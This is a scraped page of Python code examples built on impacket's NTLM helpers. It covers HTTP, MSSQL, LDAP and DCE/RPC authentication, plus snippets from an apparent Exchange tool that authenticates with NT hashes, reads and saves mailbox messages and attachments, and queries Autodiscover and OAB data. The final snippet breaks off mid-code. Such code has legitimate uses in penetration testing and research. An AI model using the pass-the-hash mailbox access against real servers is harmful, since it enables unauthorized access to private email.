Пример #1
0
    def get_auth_headers_auto(self, http_obj, method, path, headers):
        if self.__aesKey != '' or self.__TGT != None or self.__TGS != None:
            raise Exception('NTLM authentication in HTTP connection used, ' \
                            'cannot use Kerberos.')

        auth = ntlm.getNTLMSSPType1(domain=self.__domain)
        serverChallenge = self.send_ntlm_type1(http_obj, method, path, headers,
                                               auth.getData())[0]

        if serverChallenge is not None:
            self.__auth_type = AUTH_NTLM

            type3, exportedSessionKey = ntlm.getNTLMSSPType3(
                auth, serverChallenge, self.__username, self.__password,
                self.__domain, self.__lmhash, self.__nthash)

            auth_line_http = 'NTLM %s' % base64.b64encode(
                type3.getData()).decode('ascii')
        else:
            if self.__auth_type == AUTH_AUTO and AUTH_BASIC in self.__auth_types:
                self.__auth_type = AUTH_BASIC
                return self.get_auth_headers_basic(http_obj, method, path,
                                                   headers)
            else:
                raise Exception('No supported auth offered by URL: %s' %
                                self.__auth_types)

        # Format: auth_headers, reserved, ...
        return {'Authorization': auth_line_http}, None
Пример #2
0
    def login(self, database, username, password='', domain='', hashes = None, useWindowsAuth = False):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = binascii.a2b_hex(lmhash)
            nthash = binascii.a2b_hex(nthash)
        else:
            lmhash = ''
            nthash = ''

        resp = self.preLogin()

        # Test this!
        if resp['Encryption'] != TDS_ENCRYPT_NOT_SUP:
            print ("Encryption not supported")

        login = TDS_LOGIN()

        login['HostName'] = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
        login['AppName']  = (''.join([random.choice(string.letters) for i in range(8)])).encode('utf-16le')
        login['ServerName'] = self.server.encode('utf-16le')
        login['CltIntName']  = login['AppName']
        login['ClientPID'] = random.randint(0,1024)
        if database is not None:
            login['Database'] = database.encode('utf-16le')
        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON

        if useWindowsAuth is True:
            login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
            # NTLMSSP Negotiate
            auth = ntlm.getNTLMSSPType1('WORKSTATION','')
            login['SSPI'] = str(auth)
        else:
            login['UserName'] = username.encode('utf-16le')
            login['Password'] = self.encryptPassword(password.encode('utf-16le'))
            login['SSPI'] = ''

        login['Length'] = len(str(login))

        self.sendTDS(TDS_LOGIN7, str(login))
        # Send the NTLMSSP Negotiate or SQL Auth Packet
        tds = self.recvTDS()

        if useWindowsAuth is True:
            serverChallenge = tds['Data'][3:]

            # Generate the NTLM ChallengeResponse AUTH 
            type3, exportedSessionKey = ntlm.getNTLMSSPType3(auth, serverChallenge, username, password, domain, lmhash, nthash)

            self.sendTDS(TDS_SSPI, str(type3))
            tds = self.recvTDS()

        self.replies = self.parseReply(tds['Data'])

        if self.replies.has_key(TDS_LOGINACK_TOKEN):
            return True
        else:
            return False
Пример #3
0
    def login(self, user='', password='', domain='', lmhash='', nthash='', authenticationChoice='sicilyNegotiate'):
        """
        logins into the target system

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string authenticationChoice: type of authentication protocol to use (default NTLM)

        :return: True, raises a LDAPSessionError if error.
        """
        bindRequest = BindRequest()
        bindRequest['version'] = Integer7Bit(3)
        bindRequest['name'] = LDAPDN(user)

        if authenticationChoice == 'simple':
            bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice,
                                                                                      AuthSimple(password))
            resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyPackageDiscovery':
            bindRequest['authentication'] = AuthenticationChoice().setComponentByName(authenticationChoice, '')
            resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyNegotiate':
            # Deal with NTLM Authentication
            if lmhash != '' or nthash != '':
                if len(lmhash) % 2:     lmhash = '0%s' % lmhash
                if len(nthash) % 2:     nthash = '0%s' % nthash
                try:  # just in case they were converted already
                    lmhash = unhexlify(lmhash)
                    nthash = unhexlify(nthash)
                except:
                    pass

            # NTLM Negotiate
            negotiate = getNTLMSSPType1('', domain)
            bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyNegotiate', negotiate)
            resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']

            # NTLM Challenge
            type2 = resp['bindResponse']['matchedDN']

            # NTLM Auth
            type3, exportedSessionKey = getNTLMSSPType3(negotiate, str(type2), user, password, domain, lmhash, nthash)
            bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sicilyResponse', type3)
            resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
        else:
            raise LDAPSessionError(errorString='Unknown authenticationChoice %s' % authenticationChoice)

        if resp['bindResponse']['resultCode'] != 0:
            raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % (
                resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage']))

        return True
Пример #4
0
    def bind(self, uuid, alter = 0, bogus_binds = 0):
        bind = MSRPCBind()
        # Standard NDR Representation
        NDRSyntax   = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
        # NDR 64
        NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 
        #item['TransferSyntax']['Version'] = 1
        ctx = self._ctx
        for i in range(bogus_binds):
            item = CtxItem()
            item['ContextID'] = ctx
            item['TransItems'] = 1
            item['ContextID'] = ctx
            # We generate random UUIDs for bogus binds
            item['AbstractSyntax'] = generate() + stringver_to_bin('2.0')
            item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
            bind.addCtxItem(item)
            self._ctx += 1
            ctx += 1

        # The true one :)
        item = CtxItem()
        item['AbstractSyntax'] = uuid
        item['TransferSyntax'] = uuidtup_to_bin(NDRSyntax)
        item['ContextID'] = ctx
        item['TransItems'] = 1
        bind.addCtxItem(item)

        packet = MSRPCHeader()
        packet['type'] = MSRPC_BIND
        packet['pduData'] = str(bind)
        packet['call_id'] = self.__callid

        if alter:
            packet['type'] = MSRPC_ALTERCTX

        if (self.__auth_level != RPC_C_AUTHN_LEVEL_NONE):
            if (self.__username is None) or (self.__password is None):
                self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash = self._transport.get_credentials()
            if self.__auth_type == RPC_C_AUTHN_WINNT:
                auth = ntlm.getNTLMSSPType1('', self.__domain, signingRequired = True, use_ntlmv2 = self._transport.doesSupportNTLMv2())
            elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
                from impacket.dcerpc import netlogon
                auth = netlogon.getSSPType1(self.__username[:-1], self.__domain, signingRequired = True)

            sec_trailer = SEC_TRAILER()
            sec_trailer['auth_type']   = self.__auth_type
            sec_trailer['auth_level']  = self.__auth_level
            sec_trailer['auth_ctx_id'] = self._ctx + 79231 

            pad = (4 - (len(packet.get_packet()) % 4)) % 4
            if pad != 0:
               packet['pduData'] = packet['pduData'] + '\xFF'*pad
               sec_trailer['auth_pad_len']=pad

            packet['sec_trailer'] = sec_trailer
            packet['auth_data'] = str(auth)

        self._transport.send(packet.get_packet())

        s = self._transport.recv()

        if s != 0:
            resp = MSRPCHeader(s)
        else:
            return 0 #mmm why not None?

        if resp['type'] == MSRPC_BINDACK or resp['type'] == MSRPC_ALTERCTX_R:
            bindResp = MSRPCBindAck(str(resp))
        elif resp['type'] == MSRPC_BINDNAK:
            resp = MSRPCBindNak(resp['pduData'])
            status_code = resp['RejectedReason']
            if rpc_status_codes.has_key(status_code):
                raise Exception(rpc_status_codes[status_code], resp)
            elif rpc_provider_reason.has_key(status_code):
                raise Exception("Bind context rejected: %s" % rpc_provider_reason[status_code])
            else:
                raise Exception('Unknown DCE RPC fault status code: %.8x' % status_code, resp)
        else:
            raise Exception('Unknown DCE RPC packet type received: %d' % resp['type'])

        # check ack results for each context, except for the bogus ones
        for ctx in range(bogus_binds+1,bindResp['ctx_num']+1):
            result = bindResp.getCtxItem(ctx)['Result']
            if result != 0:
                msg = "Bind context %d rejected: " % ctx
                msg += rpc_cont_def_result.get(result, 'Unknown DCE RPC context result code: %.4x' % result)
                msg += "; "
                reason = bindResp.getCtxItem(ctx)['Reason']
                msg += rpc_provider_reason.get(reason, 'Unknown reason code: %.4x' % reason)
                if (result, reason) == (2, 1): # provider_rejection, abstract syntax not supported
                    msg += " (this usually means the interface isn't listening on the given endpoint)"
                raise Exception(msg, resp)

        self.__max_xmit_size = bindResp['max_tfrag']

        if self.__auth_level != RPC_C_AUTHN_LEVEL_NONE:
            if self.__auth_type == RPC_C_AUTHN_WINNT:
                response, randomSessionKey = ntlm.getNTLMSSPType3(auth, bindResp['auth_data'], self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, use_ntlmv2 = self._transport.doesSupportNTLMv2())
                self.__flags = response['flags']
            elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
                response = None

            self.__sequence = 0

            if self.__auth_level in (RPC_C_AUTHN_LEVEL_CONNECT, RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY):
                if self.__auth_type == RPC_C_AUTHN_WINNT:
                    if self.__flags & ntlm.NTLMSSP_NTLM2_KEY:
                        self.__clientSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey)
                        self.__serverSigningKey = ntlm.SIGNKEY(self.__flags, randomSessionKey,"Server")
                        self.__clientSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey)
                        self.__serverSealingKey = ntlm.SEALKEY(self.__flags, randomSessionKey,"Server")
                        # Preparing the keys handle states
                        cipher3 = ARC4.new(self.__clientSealingKey)
                        self.__clientSealingHandle = cipher3.encrypt
                        cipher4 = ARC4.new(self.__serverSealingKey)
                        self.__serverSealingHandle = cipher4.encrypt
                    else:
                        # Same key for everything
                        self.__clientSigningKey = randomSessionKey
                        self.__serverSigningKey = randomSessionKey
                        self.__clientSealingKey = randomSessionKey
                        self.__serverSealingKey = randomSessionKey
                        cipher = ARC4.new(self.__clientSigningKey)
                        self.__clientSealingHandle = cipher.encrypt
                        self.__serverSealingHandle = cipher.encrypt
                elif self.__auth_type == RPC_C_AUTHN_NETLOGON:
                    pass

            sec_trailer = SEC_TRAILER()
            sec_trailer['auth_type'] = self.__auth_type
            sec_trailer['auth_level'] = self.__auth_level
            sec_trailer['auth_ctx_id'] = self._ctx + 79231 

            if response is not None:
                auth3 = MSRPCHeader()
                auth3['type'] = MSRPC_AUTH3
                # pad (4 bytes): Can be set to any arbitrary value when set and MUST be 
                # ignored on receipt. The pad field MUST be immediately followed by a 
                # sec_trailer structure whose layout, location, and alignment are as 
                # specified in section 2.2.2.11
                auth3['pduData'] = '    '
                auth3['sec_trailer'] = sec_trailer
                auth3['auth_data'] = str(response)

                # Use the same call_id
                self.__callid = resp['call_id']
                auth3['call_id'] = self.__callid
                self._transport.send(auth3.get_packet(), forceWriteAndx = 1)

            self.__callid += 1

        return resp     # means packet is signed, if verifier is wrong it fails
Пример #5
0
def ewsManage(host, port, mode, domain, user, data, command):

    if command == "getfolderofinbox":
        POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <m:GetFolder>
      <m:FolderShape>
        <t:BaseShape>Default</t:BaseShape>
      </m:FolderShape>
      <m:FolderIds>
        <t:DistinguishedFolderId Id="inbox"/>
      </m:FolderIds>
    </m:GetFolder>
  </soap:Body>
</soap:Envelope>
'''
    elif command == 'getfolderofsentitems':
        POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
               xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" 
               xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" 
               xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <m:GetFolder>
      <m:FolderShape>
        <t:BaseShape>Default</t:BaseShape>
      </m:FolderShape>
      <m:FolderIds>
        <t:DistinguishedFolderId Id="sentitems"/>
      </m:FolderIds>
    </m:GetFolder>
  </soap:Body>
</soap:Envelope>
'''

    elif command == 'listmailofinbox':
        POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
  </soap:Header>
  <soap:Body>
    <m:FindItem Traversal="Shallow">
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        <t:BodyType>Text</t:BodyType>
      </m:ItemShape>
      <m:IndexedPageItemView MaxEntriesReturned="2147483647" Offset="0" BasePoint="Beginning" />
      <m:ParentFolderIds>
        <t:DistinguishedFolderId Id="inbox" />
      </m:ParentFolderIds>
    </m:FindItem>
  </soap:Body>
</soap:Envelope>
'''

    elif command == 'listmailofsentitems':
        POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
  </soap:Header>
  <soap:Body>
    <m:FindItem Traversal="Shallow">
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        <t:BodyType>Text</t:BodyType>
      </m:ItemShape>
      <m:IndexedPageItemView MaxEntriesReturned="2147483647" Offset="0" BasePoint="Beginning" />
      <m:ParentFolderIds>
        <t:DistinguishedFolderId Id="sentitems" />
      </m:ParentFolderIds>
    </m:FindItem>
  </soap:Body>
</soap:Envelope>
'''

    elif command == 'getmail':
        POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
  </soap:Header>
  <soap:Body>
    <m:GetItem>
      <m:ItemShape>
        <t:BaseShape>AllProperties</t:BaseShape>
        <t:BodyType>Text</t:BodyType>
      </m:ItemShape>
      <m:ItemIds>
        <t:ItemId Id="{id}" ChangeKey="{key}" />
      </m:ItemIds>
    </m:GetItem>
  </soap:Body>
</soap:Envelope>
'''

        Id = input("Input the ItemId of the Message:")
        Key = input("Input the ChangeKey of the Message:")
        POST_BODY = POST_BODY.format(id=Id, key=Key)

    elif command == 'getattachment':
        POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
  </soap:Header>
  <soap:Body>
    <m:GetItem>
      <m:ItemShape>
        <t:BaseShape>IdOnly</t:BaseShape>
        <t:AdditionalProperties>
          <t:FieldURI FieldURI="item:Attachments" />
        </t:AdditionalProperties>
      </m:ItemShape>
      <m:ItemIds>
        <t:ItemId Id="{id}" />
      </m:ItemIds>
    </m:GetItem>
  </soap:Body>
</soap:Envelope>
'''

        Id = input("Input the ItemId of the Message who has Attachments:")
        POST_BODY = POST_BODY.format(id=Id)

    elif command == 'saveattachment':
        POST_BODY = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages" xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <t:RequestServerVersion Version="Exchange2013_SP1" />
  </soap:Header>
  <soap:Body>
    <m:GetAttachment>
      <m:AttachmentIds>
        <t:AttachmentId Id="{id}" />
      </m:AttachmentIds>
    </m:GetAttachment>
  </soap:Body>
</soap:Envelope>
'''
        Id = input("Input the Id of the attachment:")
        POST_BODY = POST_BODY.format(id=Id)

    else:
        print('[!]Wrong parameter')
        return False

    ews_url = "/EWS/Exchange.asmx"

    if port == 443:
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(host, port)
    else:
        session = HTTPConnection(host, port)

    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(host, domain)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    headers = {
        "Authorization":
        'NTLM %s' % negotiate.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request("POST", ews_url, POST_BODY, headers)

    res = session.getresponse()
    res.read()

    if res.status != 401:
        print(
            'Status code returned: %d. Authentication does not seem required for URL'
            % (res.status))
        return False
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            print('NTLM Auth not offered by URL, offered protocols: %s' %
                  (res.getheader('WWW-Authenticate')))
            return False
    except (KeyError, TypeError):
        print('No authentication requested by the server for url %s' %
              (ews_url))
        return False

    print('[*] Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        print('No NTLM challenge returned from server')
        return False

    if mode == 'plaintext':
        password1 = data
        nt_hash = ''

    elif mode == 'ntlmhash':
        password1 = ''
        nt_hash = binascii.unhexlify(data)

    else:
        print('[!]Wrong parameter')
        return False

    lm_hash = ''
    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user,
                                        password1, domain, lm_hash, nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization":
        'NTLM %s' % auth.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }

    session.request("POST", ews_url, POST_BODY, headers)
    res = session.getresponse()
    body = res.read()
    filename = command + ".xml"
    if res.status == 401:
        print('[!] Server returned HTTP status 401 - authentication failed')
        return False

    else:
        print('[+] Valid:%s %s' % (user, data))
        #print(body)
        print('[+] Save response file to %s' % (filename))
        with open(filename, 'w+', encoding='utf-8') as file_object:
            file_object.write(bytes.decode(body))
        if res.status == 200:
            if command == 'getattachment':
                responsecode_name = re.compile(
                    r"<m:ResponseCode>(.*?)</m:ResponseCode>")
                responsecode = responsecode_name.findall(bytes.decode(body))
                if responsecode[0] == 'NoError':
                    pattern_name = re.compile(r"<t:Name>(.*?)</t:Name>")
                    name = pattern_name.findall(bytes.decode(body))
                    for i in range(len(name)):
                        print("[+] Attachment name: %s" % (name[i]))

            elif command == 'saveattachment':
                responsecode_name = re.compile(
                    r"<m:ResponseCode>(.*?)</m:ResponseCode>")
                responsecode = responsecode_name.findall(bytes.decode(body))
                if responsecode[0] == 'NoError':
                    pattern_name = re.compile(r"<t:Name>(.*?)</t:Name>")
                    name = pattern_name.findall(bytes.decode(body))
                    print('[+] Save attachment to %s' % (name[0]))
                    pattern_data = re.compile(r"<t:Content>(.*?)</t:Content>")
                    attachmentdata = pattern_data.findall(bytes.decode(body))

                    pattern_type = re.compile(
                        r"<t:ContentType>(.*?)</t:ContentType>")
                    contenttype = pattern_type.findall(bytes.decode(body))
                    if 'text' in contenttype:
                        truedata = base64.b64decode(attachmentdata[0])
                        with open(name[0], 'w+') as file_object:
                            file_object.write(truedata)
                    else:
                        truedata = base64.b64decode(attachmentdata[0])
                        with open(name[0], 'wb+') as file_object:
                            file_object.write(truedata)

                else:
                    print('[!] %s' % (responsecode[0]))

        return True
Пример #6
0
    def login(self,
              user='',
              password='',
              domain='',
              lmhash='',
              nthash='',
              authenticationChoice='sicilyNegotiate'):
        """
        logins into the target system

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string authenticationChoice: type of authentication protocol to use (default NTLM)

        :return: True, raises a LDAPSessionError if error.
        """
        bindRequest = BindRequest()
        bindRequest['version'] = Integer7Bit(3)
        bindRequest['name'] = LDAPDN(user)

        if authenticationChoice == 'simple':
            bindRequest['authentication'] = AuthenticationChoice(
            ).setComponentByName(authenticationChoice, AuthSimple(password))
            resp = self.sendReceive('bindRequest',
                                    bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyPackageDiscovery':
            bindRequest['authentication'] = AuthenticationChoice(
            ).setComponentByName(authenticationChoice, '')
            resp = self.sendReceive('bindRequest',
                                    bindRequest)[0]['protocolOp']
        elif authenticationChoice == 'sicilyNegotiate':
            # Deal with NTLM Authentication
            if lmhash != '' or nthash != '':
                if len(lmhash) % 2: lmhash = '0%s' % lmhash
                if len(nthash) % 2: nthash = '0%s' % nthash
                try:  # just in case they were converted already
                    lmhash = unhexlify(lmhash)
                    nthash = unhexlify(nthash)
                except:
                    pass

            # NTLM Negotiate
            negotiate = getNTLMSSPType1('', domain)
            bindRequest['authentication'] = AuthenticationChoice(
            ).setComponentByName('sicilyNegotiate', negotiate)
            resp = self.sendReceive('bindRequest',
                                    bindRequest)[0]['protocolOp']

            # NTLM Challenge
            type2 = resp['bindResponse']['matchedDN']

            # NTLM Auth
            type3, exportedSessionKey = getNTLMSSPType3(
                negotiate, str(type2), user, password, domain, lmhash, nthash)
            bindRequest['authentication'] = AuthenticationChoice(
            ).setComponentByName('sicilyResponse', type3)
            resp = self.sendReceive('bindRequest',
                                    bindRequest)[0]['protocolOp']
        else:
            raise LDAPSessionError(
                errorString='Unknown authenticationChoice %s' %
                authenticationChoice)

        if resp['bindResponse']['resultCode'] != 0:
            raise LDAPSessionError(
                errorString='Error in bindRequest -> %s:%s' %
                (resp['bindResponse']['resultCode'].prettyPrint(),
                 resp['bindResponse']['diagnosticMessage']))

        return True
Пример #7
0
def checkAutodiscover(host, port, mode, email, data):

    autodiscover_url = "/autodiscover/autodiscover.xml"
    tmp = email.split('@')
    user = tmp[0]

    if port == 443:
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(host, port)
    else:
        session = HTTPConnection(host, port)

    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(host)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    headers = {
        "Authorization":
        'NTLM %s' % negotiate.decode('utf-8'),
        "Accept-Encoding":
        "gzip",
        "User-Agent":
        "Microsoft Office/16.0 (Windows NT 6.1; Microsoft Outlook 16.0.4266; Pro)"
    }
    session.request("GET", autodiscover_url, "", headers)

    res = session.getresponse()
    res.read()

    if res.status != 401:
        print(
            'Status code returned: %d. Authentication does not seem required for URL'
            % (res.status))
        return False
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            print('NTLM Auth not offered by URL, offered protocols: %s' %
                  (res.getheader('WWW-Authenticate')))
            return False
    except (KeyError, TypeError):
        print('No authentication requested by the server for url %s' %
              (autodiscover_url))
        return False

    print('[*] Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        print('No NTLM challenge returned from server')
        return False

    if mode == 'plaintext':
        password1 = data
        nt_hash = ''

    elif mode == 'ntlmhash':
        password1 = ''
        nt_hash = binascii.unhexlify(data)

    else:
        print('[!] Wrong parameter')
        return False

    lm_hash = ''
    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user,
                                        password1, host, lm_hash, nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization": 'NTLM %s' % auth.decode('utf-8'),
        "Content-type": "text/xml",
        "X-Anchormailbox": '%s' % email,
        "X-Mapihttpcapability": '1',
        "Accept-Encoding": 'gzip'
    }
    POST_BODY = '''<?xml version="1.0" encoding="utf-8"?><Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
<Request><EMailAddress>{EMailAddress}</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
</Request></Autodiscover>
'''

    POST_BODY = POST_BODY.format(EMailAddress=email)

    session.request("POST", autodiscover_url, POST_BODY, headers)
    res = session.getresponse()
    body = res.read()
    filedata = gzip.decompress(body).decode("utf-8")

    if res.status == 401:
        print('[!] Server returned HTTP status 401 - authentication failed')
        return False
    else:
        if 'ErrorCode' in filedata:
            pattern_name = re.compile(r"<ErrorCode>(.*?)</ErrorCode>")
            name = pattern_name.findall(filedata)
            print('[!] ErrorCode:%s' % (name[0]))
            pattern_name = re.compile(r"<Message>(.*?)</Message>")
            name = pattern_name.findall(filedata)
            print('[!] Message:%s' % (name[0]))

        else:
            print('[+] Valid:%s %s' % (user, data))

            pattern_name = re.compile(r"<LegacyDN>(.*?)</LegacyDN>")
            name = pattern_name.findall(filedata)
            print('[+] LegacyDN:%s' % (name[0]))

            pattern_name = re.compile(r"<OABUrl>(.*?)</OABUrl>")
            name = pattern_name.findall(filedata)
            print('[+] OABUrl:%s' % (name[0]))

            if 'InternalUrl' in filedata:
                pattern_name = re.compile(r"<InternalUrl>(.*?)</InternalUrl>")
                name = pattern_name.findall(filedata)
                print('[+] InternalUrl:%s' % (name[0]))

            if '<AD>' in filedata:
                pattern_name = re.compile(r"<AD>(.*?)</AD>")
                name = pattern_name.findall(filedata)
                print('[+] AD:%s' % (name[0]))

        filename = "checkAutodiscover.xml"
        print('[+] Save response file to %s' % (filename))
        with open(filename, 'w+') as file_object:
            file_object.write(filedata)
        return True
Пример #8
0
def downloadlzx(host, port, mode, email, data):

    OABID = input("Input the OABID:")
    lzxID = input("Input the lzx ID:(Eg: xx.lzx)")

    lzxURL = "/OAB/" + OABID + "/" + lzxID
    tmp = email.split('@')
    user = tmp[0]

    if port == 443:
        try:
            uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
            session = HTTPSConnection(host, port, context=uv_context)
        except AttributeError:
            session = HTTPSConnection(host, port)
    else:
        session = HTTPConnection(host, port)

    # Use impacket for NTLM
    ntlm_nego = ntlm.getNTLMSSPType1(host)

    #Negotiate auth
    negotiate = base64.b64encode(ntlm_nego.getData())
    # Headers
    headers = {
        "Authorization":
        'NTLM %s' % negotiate.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept":
        "text/xml",
        "User-Agent":
        "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36"
    }
    session.request("GET", lzxURL, "", headers)

    res = session.getresponse()
    res.read()

    if res.status != 401:
        print(
            'Status code returned: %d. Authentication does not seem required for URL'
            % (res.status))
        return False
    try:
        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            print('NTLM Auth not offered by URL, offered protocols: %s' %
                  (res.getheader('WWW-Authenticate')))
            return False
    except (KeyError, TypeError):
        print('No authentication requested by the server for url %s' %
              (lzxURL))
        return False

    print('[*] Got 401, performing NTLM authentication')
    # Get negotiate data
    try:
        ntlm_challenge_b64 = re.search(
            'NTLM ([a-zA-Z0-9+/]+={0,2})',
            res.getheader('WWW-Authenticate')).group(1)
        ntlm_challenge = base64.b64decode(ntlm_challenge_b64)
    except (IndexError, KeyError, AttributeError):
        print('No NTLM challenge returned from server')
        return False

    if mode == 'plaintext':
        password1 = data
        nt_hash = ''

    elif mode == 'ntlmhash':
        password1 = ''
        nt_hash = binascii.unhexlify(data)

    else:
        print('[!] Wrong parameter')
        return False

    lm_hash = ''
    ntlm_auth, _ = ntlm.getNTLMSSPType3(ntlm_nego, ntlm_challenge, user,
                                        password1, host, lm_hash, nt_hash)
    auth = base64.b64encode(ntlm_auth.getData())

    headers = {
        "Authorization":
        'NTLM %s' % auth.decode('utf-8'),
        "Content-type":
        "text/xml; charset=utf-8",
        "Accept-Encoding":
        "gzip, deflate, br",
        "Sec-Fetch-Mode":
        "navigate",
        "Sec-Fetch-Site":
        "none",
        "Sec-Fetch-User":
        "******",
        "Sec-Fetch-Dest":
        "document",
        "User-Agent":
